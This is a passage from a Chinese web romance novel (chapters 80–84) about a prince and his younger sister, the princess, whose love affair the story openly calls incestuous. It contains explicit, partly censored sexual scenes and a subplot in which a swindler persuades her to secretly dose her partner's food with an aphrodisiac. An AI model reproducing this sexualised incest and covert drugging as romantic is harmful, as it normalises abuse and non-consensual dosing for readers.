萧彻倒也没想占摊主的便宜,他知道颜嘉柔的脾性,小姑娘贪玩罢了,套了这么多,哪里都带得走,也未必都喜欢,便让她挑个一两件喜欢的带走便是。 小姑娘乖乖地说好,咬着手指思索了一会儿,最后选了一个白釉点黑彩兔,对着萧彻道:“我就要那个啦。” 萧彻顺着她所指的方向望去,弯唇道:“瓷兔?喜欢那个么?” “嗯!我觉得你会喜欢那个,所以我选那个!” 萧彻一怔,伸手抚上她的脸,柔声道:“宝宝,无论什么时候,你都不必迁就我,选你自己喜欢的。” “没有迁就,我喜欢你,很喜欢很喜欢,那你喜欢的就是我喜欢的!况且我本来就喜欢兔子,我生肖就是兔,小兔子白白软软的,最可爱啦。” 萧彻这才笑道:“好,那就选这个。” 那摊主见萧彻套中了这么多,却只带走了一件,当下一愣,等反应过来后立刻喜上眉梢,连连道谢,还不忘说上几句漂亮话:“二位郎才女貌,天作之合,真乃一对壁人,我祝二位天长地久,恩爱白头!” 这祝词实在好听,萧彻随手扔了一袋金叶子给他:“多谢,这个给你了。” 摊主打开一看,眼睛都放光了,这袋金叶子,都够买一百只瓷兔了,这不是走大运了是什么?原以为今儿个遇上了神仙,合着还是财神呢。 立刻对着二人千恩万谢。 最后两人在摊主的道谢中渐渐走远,去了下一个摊位。 80-90 第81章 第81章“回去再治你。”…… 庙会不光有好玩儿的,好吃的也不少,颜嘉柔就像是掉进了米缸的小老鼠,高兴得忘乎所以,挽着萧彻的胳膊一个摊位挨着一个摊位的逛。 等逛到卖糖人的摊位时,便再也走不动道了,忍不住双眼放光,咽了好几回口水,扭头一脸希冀地望向萧彻,晃动着他的胳膊道:“萧彻,我要这个……” 一边却在心底暗道失策,出门自己却没带银子,不然就算萧彻不同意,她也可以偷偷买,如今却只能央著他买了。 果然对于甜食,萧彻总是十分限着她:“糖人?怕是齁甜吧,颜颜,你的牙不好,该少吃甜食,乖了,那边有卖新鲜的莲子,倒也清甜,我们去那里看看?” : 没有得到满意的回答,颜嘉柔大小姐的脾气又上来了“不要,我要先买这个!” 她在这方面对萧彻不满很久了,雪腮鼓起,幽怨地看着他:“你是我男人还是我爹爹呀,为什么总管我,真讨厌!” 老是管她吃什么,哪有这样的。 萧彻挑眉,轻扯了唇角:“你还是小婴儿时我就管你喝多少奶了,怎么长大了,反而管不了了?颜颜,这天底下没有这样的道理。” “况且我是你三哥,你说我能不能管你?” 颜嘉柔才不买账呢,因为他说的话根本就站不住脚! 他算哪门子正经哥哥?都把幼妹拐上床了。 小时候喂奶,长大后灌……灌j,这天底下,才没有他这样的哥哥呢! 明明做着夫君的事,却要摆哥哥的谱,真讨厌。 要不怎么说兄妹不可以做夫妻呢,除了乱//。伦之外,或许还有这一层道理在! 跟哥哥处对象就是麻烦! 这摊主也是个人精,眼见小两口吵起来了,连忙从中调和道:“这位相公,我这糖浆掺了水,算不得太甜,不若给你娘子买一个吧,偶尔吃一个,不妨事的。” 颜嘉柔闻言,黑白分明的眼珠子骨碌碌一转,也跟着摊主的话说了一遍,却是截然不同的语调,朝萧彻软声撒娇道:“这位相公,给你的娘子买一个吧,偶尔吃一个,不妨事的,买一个吧,买一个吧,好不好嘛。” 糯声糯气的语调,学得倒是一字不差,他想这世上大约再没有人比她还要可爱了。 萧彻到底没忍住,唇角翘得老高,伸手刮了一下她的鼻尖:“学人精,平时什么都不会,学这个倒是快,叫谁相公呢,张口就来。” 颜嘉柔自觉方才发了脾气,语气不算好,可是她才不想和萧彻吵架呢,这会儿便笑嘻嘻地道:“叫你呢,萧彻,萧闻祈,是我的相公,是我的夫君,是我最喜欢的人!” 萧彻喉结滚动,一瞬不瞬地看着她,只觉一颗心浸泡温水中,软得一塌糊涂。 罢了,其实小公主说得也不无道理,偶尔吃一个,倒也不妨事,何况若真不依她,没得惹,只怕回去要哄好久,她肯让步只吃一个,已经算很乖了。 颜嘉柔到底还是如愿了,萧彻替她结了账,她欢天喜地拿着一串糖人走了,一路上一边继续亲昵地挽着萧彻的胳膊,一边低头舔着糖人。 萧彻侧头看她时,刚好见她探出一截嫣红柔软的舌尖,专心地舔舐着糖人。 对比于之前舔乳糖浇时,明显要熟练和灵活不少,也不知道是不是这段时间用他的东西训练的成果。 萧彻喉头一阵发紧,转头移开了视线,好一会儿才重新调匀了呼吸。 却又忽然想到颜嘉柔得的怪症的确古怪,似乎能让她对他上yin,无论是血还是。,血和。相比,后者较前者的反应更令……不是吧这段删了这样了还锁 以至于这段时间颜嘉柔越来越喜欢他的东西,为此早就摒弃了羞耻,都不用他哄着,便全删了…… 拜那怪症所赐,她如今是真的很喜欢吃他那玩意儿。 只是不知道糖人和他的那个玩意儿相比,她更喜欢吃哪个。 如果只能选一个呢? 嘶,他或许想到帮她戒糖的法子了。 —— 颜嘉柔和萧彻后续又走马观花地逛了几个摊位,最后被一个番邦外族的摊位吸引了视线,摊主头戴一顶胡帽,嵌宝镶珠,毛皮滚边,身上亦穿着外族服饰,高鼻深目,轮廓立体,长得十足的异域风情,卖的也都是新奇玩意儿,乃是情人之间的对戒,且镶嵌着钻石、 要说寻常戒指倒也不稀奇,萧彻经常骑射,拇指上常年佩戴着扳指。 只是在大魏,指环并不十分流行,情人之间的对戒,更是闻所未闻。 颜嘉柔也是第一次听说,戒指还有一对的。而且,她只见过红宝石、绿宝石、猫眼石,钻石又是什么东西? 摊主操着一口并不标准的魏话解释道:“钻石原是一种治玉工具,因其十分坚硬,能轻易切割玉器,故而作此用。” 又道:“钻石坚硬而耐火,永恒不变,寓意实在好,打磨后璀璨夺目,也十分漂亮,我们族人就将它镶嵌到了戒指上。” “戒指在我们族,是有特定寓意的,通常是在婚嫁时佩戴,男女各执一枚,若戴上戒指,则意味着双方签订了某种契约,一生一世一双人,永恒不变,便如那钻石一般。” 颜嘉柔闻言转头亮晶晶地看向萧彻,感慨道:“好浪漫的寓意……” 萧彻揉了揉她的脑袋,微笑道:“想要么?” “嗯嗯!我们也买一对,你一个我一个,永远不许摘下来!” 萧彻目光缱绻而宠溺地看向她,唇边噙着一点淡淡的笑意:“好,都听颜颜的。” 却听那摊主道:“只是钻石开采量少,先前的存货都已经出售,如今没有现货,恐怕二位要等一段时间了,当然,也决不会叫二位白等的,戒指打磨完成之后,可在背面为二位刻字,二位尽可以添些缱绻情话,抑或是美好愿景,岂不是更好么。” “而且倘若二位肯等上一段时日的话,钻戒打磨完成后还可以让我们的巫师祝祷一番,说到这里,二位可别不信,凡是有情人戴上由我们羌族巫师祝祷过的钻戒,那十有八九,都是 会白头偕老的。” “十有八九?”萧彻挑眉:“怎么不是十成十呢?” “这……若想十成十,也并非不行,只是需得您吃些苦头了。” “只我一个?” “是,自古男子薄幸,往往最易变心,正所谓真金不怕火炼,考验自然也在男方。” 萧彻淡道:“那就没什么顾忌了,你说。” 摊主道:“倘若在巫师祝祷前,男子能走过一丈火炭路,为祝祷献祭真心,那么便必定能与心爱之人共白头。” 萧彻挑眉:“真有这般灵验?” “如假包换,我敢对着羌木树起誓,绝不骗您,何况这等祝祷之术,在我们历代的族志中都有记载,郎君若是不怕麻烦,去羌地一查便知。” 羌木树是羌族的神树,在羌族,所有羌族人都有一个共识,即羌族人有可能在公堂上说谎,可若是对着羌木树起誓,那便绝无半句虚言。 原来当真确有其事么? 对这种玄而又玄的东西,萧彻原本是不信的,可在见识了颜嘉柔的怪症之后,他想他没有什么是不能信的了。 或许真如燕骁那小子所言,大千世界,无奇不有,有些事情,你没见过,不代表没有。 何况眼下这名羌族人说的事,诱惑实在太大,人总是会更愿意相信他想相信的,他也不例外。 倘若这羌族人说的是真的,那么…… 萧彻勾唇轻笑了声:“倒有点意思。” 颜嘉柔原本在一旁有一搭没一搭地听着二人讲话,并没怎么放在心上,事实上对于钻戒,在听到要他们等一段时间才能买到的时候,颜嘉柔就没什么兴趣了。 她最讨厌等了,也从来没什么耐心。 何况听那摊主的语气,这等一段时间,恐怕动辄就要一两个月,那时他们早就回都城了,又怎么等得起? 她本来想拉着萧彻走,但见萧彻仍与摊主说着话,便乖乖地在一旁等他,直到听到那摊主说要萧彻走一丈炭火路,她简直怀疑他疯了。 一丈炭火路,踩在上面,跟被火炙有什么区别?该有多疼?真好笑,他怎么自己不去走,要诓骗萧彻去? 怎么会有这么坏的人! 她原以为萧彻比她聪明得多,必然是不会理会的,可她方才听他的口风,竟像是十分感兴趣? 天呐,他是疯了么? 急得她立刻双手抱着萧彻的一条手臂,将他拉至一旁,压低声音道:“萧闻祈,我看这摊主多半是在骗人……” “要么,就是这里有问题。”小姑娘说着十分认真地点了点自己的脑袋:“这里……” “萧闻祈,别理他了,我们快走吧……” 萧彻看了她一眼,弯唇道:“你不是喜欢那个什么钻戒,又不想要了?” “喜欢是喜欢,但太麻烦了,也不是非要不可,我喜欢的东西多了去了,何必只拘泥于一样呢?” 小姑娘说着狡黠地眨了眨眼,一头扑进萧彻的怀里:“我最喜欢的在这儿呢!我已经有了!” 温香软玉在怀,偏她又抱得紧,胸前鼓鼓囊囊地蹭着他,鼻尖盈满了少女身上的甜香,听她软声软气地叫着哥哥,说着喜欢…… 萧彻喉结滚动,深吸了一口气,按着她肩头的手稍稍加重了力道,一开口,嗓音却是哑得厉害:“大街上,人来人往的,别勾我。” 颜嘉柔一怔,稍稍退开身子,仰头看着萧彻,美眸中写满了无辜,那神情分明是在说,我没勾你呀。 萧彻轻扯了唇角,修长的手指划过她的脸颊。 白腻软滑,像是上好的羊脂白玉。 不知道是不是他的错觉,原本经过前段时间的舟车劳顿,小兔瘦了一圈,加上之前被怪症折磨,人也瞧着恹恹的,可如今不过短短几日,她便养回来了,甚至更见丰盈,人也瞧着容光焕发,愈发娇美明艳。 看来他的东西,把小兔养得很好。 不光脸颊更见丰盈,便是身前,也越发饱涨了,当然,这也有可能是被他一手抚大的。 她眸底泛着水汽,仍是那般懵懂地看着他,勾引人而不自知,偏是这种才最可恨。 身子是早已熟透的水蜜桃,饱满多汁,轻轻一吮,便能淌出香甜汁水,内里却依旧是小孩心性。 萧彻掐了一把她滑腻丰盈的颊肉,哑声道:“回去再治你。” 颜嘉柔:“呜。” 第82章 第82章这一次,她只想跟着她的…… 不远处有人在表演喷火,颜嘉柔立刻被夺去了注意,拉着萧彻就往那边走,也趁机将他带离了那个卖什么劳什子钻戒的摊位。 那个钻戒要等那么久,且还想诓萧彻去自虐受罪,她现在一点儿都不想要了! 萧彻倒也跟着她走了,只是临走时还是转头看了那摊位一眼。 —— 这般玩了大半天,颜嘉柔的精力终于被消耗殆尽了,从一开始活蹦乱跳、抓都抓不住的小兔变成了只能软趴趴地靠在他背上,一动都懒得动的小猪。 只是原本半死不活的颜嘉柔,在路过一家糕点铺时,鼻翼轻轻翕动了下,像是闻到了什么熟悉的气味,一双眼睛突然又有了神采,挣扎着想从萧彻背上下来:“是荔枝糕和青梅脯,我要吃我要吃!” “你是属狗鼻子的么?”萧彻轻笑了下,问她:“这东西甜么?” “只是有一点清甜而已,还有些酸呢,酸酸甜甜的,可好吃了!哥哥你把我放下来……” 她在他背上一通乱扭,撒着娇道:“萧彻你给我买嘛,好不好……” 萧彻实在拿这位祖宗没办法,便将她放了下来:“好,那你乖乖在门口等我,我进去给你买,别乱跑,知道么?” 若是让她跟着进去,恐怕要买的,就不止这两样了,糕点多少总放了糖,她今日吃的甜食已经够多了。 单纯的小兔自然没有看出他的用意,乖乖地点了点头。 萧彻临走时,还不忘拉住他的胳膊,踮起脚尖亲了他一下:“哥哥,给你的奖励!” “奖励?”萧彻挑眉:“就这啊。” 他忽然起了逗弄的心思,俯身附到她耳畔,语调怠懒:“宝宝,要亲下面才算啊……” 原以为小兔一定会像从前一样立刻变成一颗红苹果,害羞得把脸埋进他的怀里,再不肯搭理人。 谁知红苹果是变了,这回却肯抬起头来瞧人了,黑白分明的眸子里浮上一层水汽,几分天真,几分困惑,忍着羞意道:“那不是我的奖励么?” 萧彻一噎,险些没呛出来:“……什么?” 颜嘉柔眼睫轻颤了一下,嗓音轻软:“亲下面的话……肯定要取药,那不是……给我的奖励么。” 萧彻呼吸一沉,眼尾都有些发红。 他滚动了一下喉结,到底没忍住,半咬半吮地含住了她嫣红的耳垂,哑声警告道:“我说了,别在外面招我。” 颜嘉柔嘴巴一瘪,敢怒不敢言地看着他。 什么嘛,明明是他先招惹的她! —— 萧彻进去后,颜嘉柔便百无聊赖地等在门口,忽然听到身后似乎有个人叫她:“小姑娘?” 颜嘉柔回头,见是一个四十岁上下的男人,穿着一身道袍,一手持着幡布,一手摇着虎撑,自称是一名游医,瞧着倒有几分仙风道骨的模样。 只笑微微地看着颜嘉柔,问她:“在下道清,敢问方才进去的那位年轻郎君,可是姑娘的夫君?” 颜嘉柔也没否认,只问:“您有什么事么?” 道清看了她一眼,一开口,居然语出惊人:“姑娘近来是否与郎君房事过勤?” “!” 颜嘉柔心脏猛地一跳,立刻心虚地往左右看了看,见没人经过,方才松了口气,转而脸色微红,瞪着道清,羞恼道:“你……你胡说什么!” “姑娘请勿见怪,在下是大夫,方才所问并非打探姑娘与郎君的闺房秘事,而是在下观姑娘的面色,瞧着像是房事过度,所以才有此一问。” 其实那道清不过是个江湖骗子,到处招摇撞骗,只因长得有几分仙风道骨的模样,颇为唬人,还真有人上当受骗。 他之所以会盯上颜嘉柔,不过是看这小姑娘年纪小,心思单纯,眼神清澈,料想没什么心计,简而言之,便是好骗。 又因她实在美丽,一身雪白的皮肉极为晃眼,宛如上好的凝脂,这样的容貌身段,非是大富大贵之家决计将养不出。 那就是有钱了! 好骗又有钱,不找她找谁? 不过她身边的那位谪仙般的郎君看着不像是个好糊弄的主,所以等他进去替那小娘子买糕点时,他 才敢现身。 不得不说这道清看人还是挺准的。 至于糊弄颜嘉柔的那套说辞,也实在太好编了——但凡是长了眼睛的,偷看到他二人腻歪的情形,都不难推测出他们会有多热衷于房事。 正值青春少艾,浑身上下用不完的精力,何况又是这样一个娇滴滴的美人,那年轻郎君会节制才有鬼了。 于是他开口一试,瞧这颜嘉柔的反应,果然让他猜中了。 小姑娘涉世未深,以为她帮萧彻口娇也算是房事,毕竟萧彻每回都蛇精了,倘若这样算的话,那可太过度了。 她蹙紧眉心,一张雪白的小脸浮上忧色:“那……那会有什么影响么?” 其实她原本就有些担心她和萧彻这般没日没夜,是否纵//。欲过度了? 听说之前哪朝就有皇帝因为纵欲过度早早薨逝的,真说起来,这可不是什么小事! 道清见她一脸紧张,便知她是上钩了,当下露出一个高深的笑,伸手捋了一把胡须,不紧不慢地道:“姑娘莫怕,常言道,只有累死的牛,没有耕坏的地,这种事,女子通常是不必担心的。” “只有累死的牛,没有耕坏的地……”颜嘉柔眨了眨眼,困惑道:“这是……什么意思?” “这……”道清心说这小姑娘天真单纯,虽然好骗,可跟她解释起来也实在费劲:“意思便是男女房事,通常损耗男子,于女子倒是无碍的。” 颜嘉柔这下倒是反应过来那话是什么意思了,意思是倘若再长此以往下去,萧彻会累死,这可不行! 她蹙紧了眉:“那怎么办呢?” 难道从此不做那事?可她又不能不取解药,但她也不愿意损害萧彻的身体。 她皱着一张小脸,有些着急地道:“可有什么办法么,我不能让我夫君累死,可我又,我又……” 道清等的就是这句,当下立刻接上道:“不妨事的,姑娘瞧着年纪小,该是刚成亲不久吧?新婚燕尔的,哪有独守空房的道理?” “在下这里有一包药粉,是由牛鞭、鹿鞭、海狗鞭研磨成粉,辅以当归、肉挂制成,以形补形,最是有效,你回去后下在你夫君的饮食中,保管他日后龙精虎猛,鏖战至天明,身子却依旧强健,无论再这么纵情,也不会有半分虚空。” 颜嘉柔眨了眨眼,其实并没有听懂他的意思,试探地道:“所以,这是补药么?” 道清闻言双目迸射出精光:“补,大补!小娘子可要为你夫君买一包,保管有效!” 颜嘉柔到底单纯,见他一副仙风道骨的模样,又能一眼看出她近日房事过勤,像是真有几分医术,当下也不曾怀疑,点了点头道:“那……买一包吧。”反正是补药,给萧彻补补身子,总不会有错。 “好嘞。十两纹银,一手交钱,一手交货,小娘子,你看……” 十两纹银,够普通人家两三个月的花销了,道清摆明了是想敲她一笔,甚至还觉得眼前的小娘子花娇玉软,必定出自大富大贵之家,他下手还轻了呢。 却没想到眼前的小娘子红唇微张,“啊”了一声,像是突然想起了什么,有些歉然地道:“我……我出门没带银子……” 她想了想,眼睛一亮,自以为想到了很好的解决方法,甜笑道:“不然,等我夫君出来,让他给你?” 这话把道清吓得够呛,他看人一向准,知道骗骗小姑娘可以,她夫君决计糊弄不过去,弄不好还会被教训一顿,想着不如溜之大吉,到底舍不下这方才好一番的唇舌,便上下扫了颜嘉柔一眼,目光瞥见她手臂上戴着的金钏时,眼睛一亮,忙道:“小娘子不若把手臂上的金钏褪下来给我,也可抵药钱。” “啊?哦……”颜嘉柔懵懂地眨了眨眼,她在宫中养尊处优惯了,对这些身外之物向来没什么概念,想着这金钏也没什么稀奇,当即便从手上褪下来给他。 道清掩下心中狂喜,一边接过颜嘉柔递过来地金钏,一边将那药粉塞进她手里,叮嘱了一句:“男子于此事上向来忌讳,听不得诸如进补之言,所以小娘子切记,莫将此事告知你夫君,你偷偷下在他的膳食中便可”便溜之大吉了。 不过眨眼功夫,道清便消失不见。 颜嘉柔眨了眨眼,正疑惑他怎么跑得这么快,身后忽然传来一声:“颜颜。” 回头一看,见萧彻已买完糕点从铺子里出来,手里正拎着她要的那两袋糕点,当下甜甜一笑,扑进他的怀里,却也不忘道清的嘱托,将那包药粉牢牢攥在手心,不让萧彻看出端倪。 —— 萧彻背着颜嘉柔回去的时候,天色已经黑了,月上枝头,霜白的月色从枝杈的缝隙间倾泻下来,静静地流淌在他的身上。 月光为他的轮廓镀上一层清辉,愈发衬得他面如冠玉。 颜嘉柔一向最怕黑,极少有走夜路的时候,往常走夜路时,即便是听雪陪在她身边,她仍是提着一口气,如今趴在萧彻身上,却觉得格外安心。 而且萧彻宽肩窄腰,肩背宽阔,趴在他身上也很舒服。 夜风微凉,轻柔地吹拂在身上。 不远处传来几声清脆的虫鸣。 她将下巴枕在萧彻的肩上,侧头看着他俊美的轮廓,他的眼睫半垂,在眼睑处落下一片阴影。 一切都是那么静谧而美好。 她看着他,忽然心中一动,忽然叫了他一声:“萧彻……” “嗯?” “你背我一辈子好不好?” 不远处有灯笼悬挂在门楣上,在夜风中轻轻晃荡,传来朦胧的光亮。 萧彻脚步一顿。 他若有似无地笑了声:“怎么?” 他道:“考虑清楚了?” 颜嘉柔眼神透出几分茫然:“……什么?” “要选我吗,皇妹。”萧彻喉结滚动,只问她:“回京之后你肯不肯和我一起去求父皇赐婚,肯不肯对我一心一意,做我的妻子?” 颜嘉柔不防萧彻会突然这么问,懵了一瞬:“萧彻,明明是我在问你……” “想知道我的答案,”萧彻道:“那就先告诉我,你的答案。” “你……明明是我先问的你,你怎么这样……” 萧彻轻笑了声:“颜颜,你永远都可以从我这里得到你想要的答案,只要你肯给我,我想要的答案。” 没有得到预想中的答案,颜嘉柔“哼”了声,扭头生了一会儿胖气,过了会像是忽然回味过来,转头看向萧彻,一板一眼地得出结论道:“萧彻,你在钓我。” “哦?看出来了?”萧彻挑眉笑了下:“倒还不算太笨。” “虽说愿者上钩,可你这条小胖鱼还没上钩,我又怎能不留些饵?” “皇妹,我可不是白给的。” 颜嘉柔不服气道:“哼哼,你就是白给的,你什么都喂给我了!你的血,你的精,都给我了,就差你的命了!” “还有,我不是小胖鱼,我一点儿都不胖!人家只是年纪小,有些婴儿肥罢了!不许你再说我胖,不许不许不许!萧闻祈,你听见了没有!真是的,为什么又说我胖,你讨厌死了。” 萧彻向来惯着她,也不会与她太过计较什么,闻言轻笑了声,只道:“我的颜颜说什么,就是什么了。” 颜嘉柔得意地扬起眉尾:“哼哼,这还差不多!” 她又重新趴回了萧彻身上,下巴抵在他的颈侧,感受着他脉搏的跳动。 鼻尖萦绕着他身上淡淡的沉水香,好闻极了,身上也传来他温热的体温,她微微侧过脸,指尖描摹着他高挺犹如雕琢一般的鼻梁,忍不住亲了亲他。 又是一阵夜风吹来,温柔地吹拂在脸上,像是情人间落下的轻吻。 颜嘉柔忽然想到,若是和萧彻成亲便能和他一直这样在一起,好像也不算太坏。 因为她恍然发现,不知从什么时候起,对萧彻的喜欢,好像已经渐渐盖过了因为选择他,而要付出的代价。 萧彻 为她做了这么多,她早就离不开他了。 她愿意为了他背负一些骂名。 这一次,她只想跟着她的心走。 第83章 第83章病情再次进展了。…… 等回到住处后,见灯火通明,颜嘉柔隐隐觉得不对劲,越发搂紧了萧彻的脖子,小声道:“萧彻,是不是发生什么事了?” “别怕,有我在。” “好,”颜嘉柔软糯地应了一声,便不再说什么。 等进去后,才知果然出了事。 萧衍杀人了,他今晚在万花楼失手杀了薛润。 二哥杀人了,这个认知让颜嘉柔一张小脸变得煞白,下意识地躲到萧彻的怀里。 萧彻轻轻拍了拍她的背,柔声安抚道:“乖,先上去睡觉,我和你二哥有事要议。” “可是……” “颜颜,听话。” 颜嘉柔低垂下脑袋,闷闷地道:“那好吧,” 她也并非胡搅蛮缠之人,知道萧彻和萧衍如今有正事相商,便也不再继续打扰了,恋恋不舍地放开了萧彻的手。 —— 颜嘉柔走后,萧彻在萧衍对面的一张圈椅上落座,端过桌上的茶盏慢条斯理地喝了起来。 萧衍见他如此,愈发心焦:“三弟,都这个时候了,你怎么还有心思喝茶呢?” 萧彻将茶盏搁置到桌案上,眉梢轻抬,漫不经心地道:“二哥,死的是薛泽,又不是旁人,听说他在这淮县横行霸道,光天化日下也敢强抢民女,你若将他失手打死了,倒也算是为民除害。” “哎哟三弟,他即便再该死,也不该死在我手上!” “我杀人了,我竟然杀人了!除了几年前在北境战场上斩杀过敌军之外,我还从未杀过人……” “而且还是在万花楼这种地方,众目睽睽之下,你说这叫个什么事!” “说来也真是邪门,我那时与花遥姑娘正在小酌,他突然闯了进来,双目赤红,神情恍惚,那形容,像是吸食了什么禁药,便这么直挺挺地杵在我跟前……” “我都怀疑他禁药磕多了,压根就没认出我来,这回他看我的神情,全不似上回知道我身份之后那副唯唯诺诺的样子,反倒是装若癫狂,吃了熊心豹子胆似得,指着我的鼻子让我滚,说什么花遥今晚是她的人,让我从哪里来,滚哪里去……” “三弟,你说说,我几时受过这样的气?这能忍吗?便是父皇,也从没指着鼻子骂过我,我一时气血上涌,顺手抄起了酒壶就朝他脑门砸去。” “我也是气昏了头了,一时没收住力道,用力过了些,可他也是个傻的,但凡是个正常人,又怎会躲不下我那一击,他倒好,居然毫不躲避,生生地挨了我那一下……” “不过话说回来,他既一副吸食了jin药的样子,也指望不了他是个正常人,可惜我当时正在气头上,并未想到这一层……” “我打了他之后,他便那么直挺挺地倒下了,脑袋上豁了好大一口子,汨汩往外冒着鲜血,瞧着委实吓人,我便一下子清醒了,本想着到底是我将人打成这副样子,合该我找人给他医治,只不过我的人去搀扶他的时候,发现他已没了气息……” “三弟,你说说,这都是什么事……本来是去赴美人约,结果被搅合了不说,还背了一条人命回来……” “说起来这事怎么会这么凑巧,一环扣着一环似得,三弟,你说会不会是太子想搞我?” 萧彻抬眼看向他,窗牖并未紧闭,有风潜入,摇曳了桌案上的烛火。 明明灭灭的光影落在他的脸上,越发衬得他地一张脸俊美近妖,看人时总带着三分摄人之感,他慢慢地道:“二哥,你多虑了,太子的手,还不至于伸得这么长。” 萧衍一时有些晃神,移开了视线,思索着点了点头:“也是。” “不过三弟,这到底是一条人命,且崔家在当地还是叫得上号的乡绅,闹大了总归不好,得想法子摆平才是。” 萧彻道:“这是自然。二哥不必惊慌,我会帮你。” 这话才是萧衍想听到的,他端起茶盏,胡乱灌了一口茶水,一瞬不瞬地看着萧彻道:“三弟,依你之见,我该怎么做?” 萧彻微笑道:“什么都不必做。” 萧衍皱眉不解:“什么都不必做?” “二哥,”萧彻修长的手指拨弄着杯盏,慢条斯理地道:“崔润是崔家唯一的独苗,那崔家将他当做宝贝疙瘩一般,你如今将他错手杀了,若再在崔家人面前招摇,岂不是让他们更恨你?” “再者说,他们这会儿对你恨之入骨,若是见着了你,未必还会像从前一般忌讳你太子胞弟的身份,对你礼让三分,言语之间必定多有愤懑,二哥,扪心自问,你受得了这个气么?” “也是,那你说我该如何是好?” 萧彻深看了他一眼,慢慢笑了起来:“二哥,我会帮你。” 萧衍眼睛一亮:“三弟,关键时刻,还得是你帮我。那这事,可就交给你善后了。” “二哥放心,”萧彻浅啜了一口茶水,唇边慢慢泛上一点意味不明的笑意:“我会帮二哥,好好解决的。” 听到萧彻的首肯,萧衍也算是松了一口气。 萧彻办事,他向来放心。 单说之前的修文馆,他就办的很好,为他在父皇那儿挣了不少功劳。 自那事之后,他对他也就愈发信任。 既然萧彻都这么说了,他索性把这个烂摊子丢给他,之后有关于崔润的一切消息,他都不想再听到,眼不见为净! —— 萧彻上楼后,发现颜嘉柔还没睡,正巴巴地坐在床边等着他。 小兔听到她二哥杀了人,心里害怕,一个人不敢睡也正常。 萧彻洗漱沐浴之后,便上床去哄她,哄着哄着便又滚作了一处,两人气喘//。吁//。吁,颜嘉柔身子往下拱,脸红但熟练地拿出了萧彻的宝贝,因为太过急切,脸凑得近了些,不防被它弹打到了脸上,又大又y,打一下倒也有些疼。 颜嘉柔冷不防地被这么弹打了一下,人都懵了。 虽然知道小萧彻不是故意的,她不应该迁怒于它,但她骄纵惯了,小时候不小心碰到了椅子腿,嬷嬷都会帮她打椅子,这时便委委屈屈地抬头,向萧彻告状道:“萧彻,它打我!” 说着巴巴地看着他,一副让他主持公道的样子:“……怎么办?” 萧彻懒洋洋地靠坐在床榻,闻言轻扯了唇角,笑得散漫:“还能怎么办?把它赔给你呗。” 他说着略一扌廷裑,将东西往她嘴里送:“宝宝,吃下去。” 颜嘉柔眨了眨眼,有些懵懂地看着他。 “不是说它打你了吗,嗯?”他摸了摸颜嘉柔圆润的后脑勺,鼓励地看着她:“想不想让它为你服软?” “那就看你的本事了,宝宝。” 颜嘉柔一向最受不得激,闻言吃力地双手握住,卖力地开始饨图,也不知过了多久,口舌都麻木了,却仍是贪心地口允吃了两回之后,这才心满意足地睡去。 —— 半夜却忽然起了异动。 原本颜嘉柔这一番 取药下来,该是累极,她每次取药之后,都会睡得很沉,从未有过半夜醒来的时候。 这次却是个例外。 她是被熱醒的。 身上好熱好熱。 燥熱之余,仿佛有万千蚁虫沿着脊椎一颗不停地啃啮,她整个人变得异常敏淦,轻轻触碰,都能让她颤li不止,申口令出声。 熟悉的渴念又卷土重来,且这一次比以往任何一次都要来得剧烈。 不对,她才刚刚取过药,怎么可能那么快就犯病。 而且她这几日整日与萧彻形影不离,她一旦和萧彻在一起,若无旁人,便喜欢亲亲抱抱,她也不知道为什么,亲着亲着,身上的衣服就散开了。 萧彻也已经不知道什么时候埋在她凶前吃她。 他吃完她的,礼尚往来,便要喂她吃他的。 自从得了那个怪症之后,她便对他有了yin,无论是他的血还是他的……何况萧彻总诱惑她。 她从来不是什么意志坚定之人,否则也不会着了萧彻的道了。 不过就算一切重来,她也还是会奔赴那趟骊山之行。 与萧彻之后的种种,她并不后悔。 不如此,他们永远只是互相讨厌的死对头。 可这背叛了她的本能。 她不会发自内心的开心。 所以她从前才会那么讨厌他。 她到底讨厌他什么呢,这几日她终于想明白了。 她最讨厌的,是他不喜欢她。 倘若他肯稍稍顺着她一点,他们之前的关系决不会如此。 可原来他并非真的不喜欢她,所以他也变得不再那么讨厌。 既然不再那么讨厌了,那么…… 喜欢萧彻,实在是一件轻而易举的事。 只需略微松懈便可。 喜欢萧珏,才要一直努力。 萧彻是诱惑,放纵即可沉//。氵仓。 萧珏是习惯,是在少不更事时被诱导着轻易许下的承诺,需要时时有人在她面前耳提命面地提醒。 可却从来不是她的本心。 而一旦脱离了那种环境,她就会渐渐觉醒自我,窥探到内心深处真正的声音。 她想她已经彻底看清自己的心意了。 她要选萧彻。 —— 话说回来,虽然她现在已经对萧彻讨厌不起来了,但在某些特定时刻除外。 比方说在她并没有犯病的时候,便引诱着她取药,他明明知道她不取还好,一旦尝到了米青血,往往停不下来…… 又比如她觉得近来身前愈发丰yin了,强烈怀疑是被他吃月中的!呜呜。 从前取血时还要撒娇讨好,因此有些费力,并不十分容易,她也就被迫稍稍克制了一些。 可自从病情进展后,这几日取药,萧彻一改往日需得报酬才能让她取药的约定,反而十分主动,倒像是乐见其成。 她也是后来才想通其中关节——病情进展后的取药过程,于他而言,本身就是一种报酬! 他这般引诱,她怎么把持得住。 于是便度过了毫无节制的几日。 她担心萧彻这段时间大量氵世s,是否会对身体有什么损害,却从未担心过自己。 毕竟那道清也说了,只有累坏的牛,没有耕坏的田。 然而她不知道的是,她既因为不愿吃苦而没有服用延缓病情进展的药物,又因为萧彻的宠溺纵容,对她予取予求,导致她不加节制地取血取米青,更加加快了病情发展的进程。 如今取米青比取血更加频繁,毫无节制可言,那么病情进展得自然也就更快。 到底是已经经历过类似的情形了,这次颜嘉柔很快就意识到发生了什么,哭着道:“呜呜,萧彻……我……我的病情……好像……又进展了……” 萧彻原本正将她抱在怀里安抚着她的躁动,闻言动作一顿,皱眉道:“又进展了?” 不过短短几日,这实在比他想象得快多了。 第84章 第84章终于彻底拥有你。 然而眼下究竟不是计较这个的时候,最重要的,是怎么帮颜嘉柔缓解症状。 病情进展了,意味着此前的解药也已失效,他急需找到一种新的治疗方式,来治疗安抚颜嘉柔。 他几乎立刻想到了燕骁之前留给他的两个锦囊。 一个红色,一个蓝色。 他当时叮嘱他,先打开蓝色的锦囊,等病情进展了,再打开红色的。 他这时便起身去取那个红色锦囊,回来后当着颜嘉柔的面打开,取出里面的字条,展开后一看,脸色顿时变得微妙。 “上面……写了什么……” 见萧彻不答,颜嘉柔费力地一把夺过他手上的字条,低头一看,一时也怔住了。 只见那张字条上写的,最后的解药分明是……与萧彻真正胶合。 “萧彻……这……” 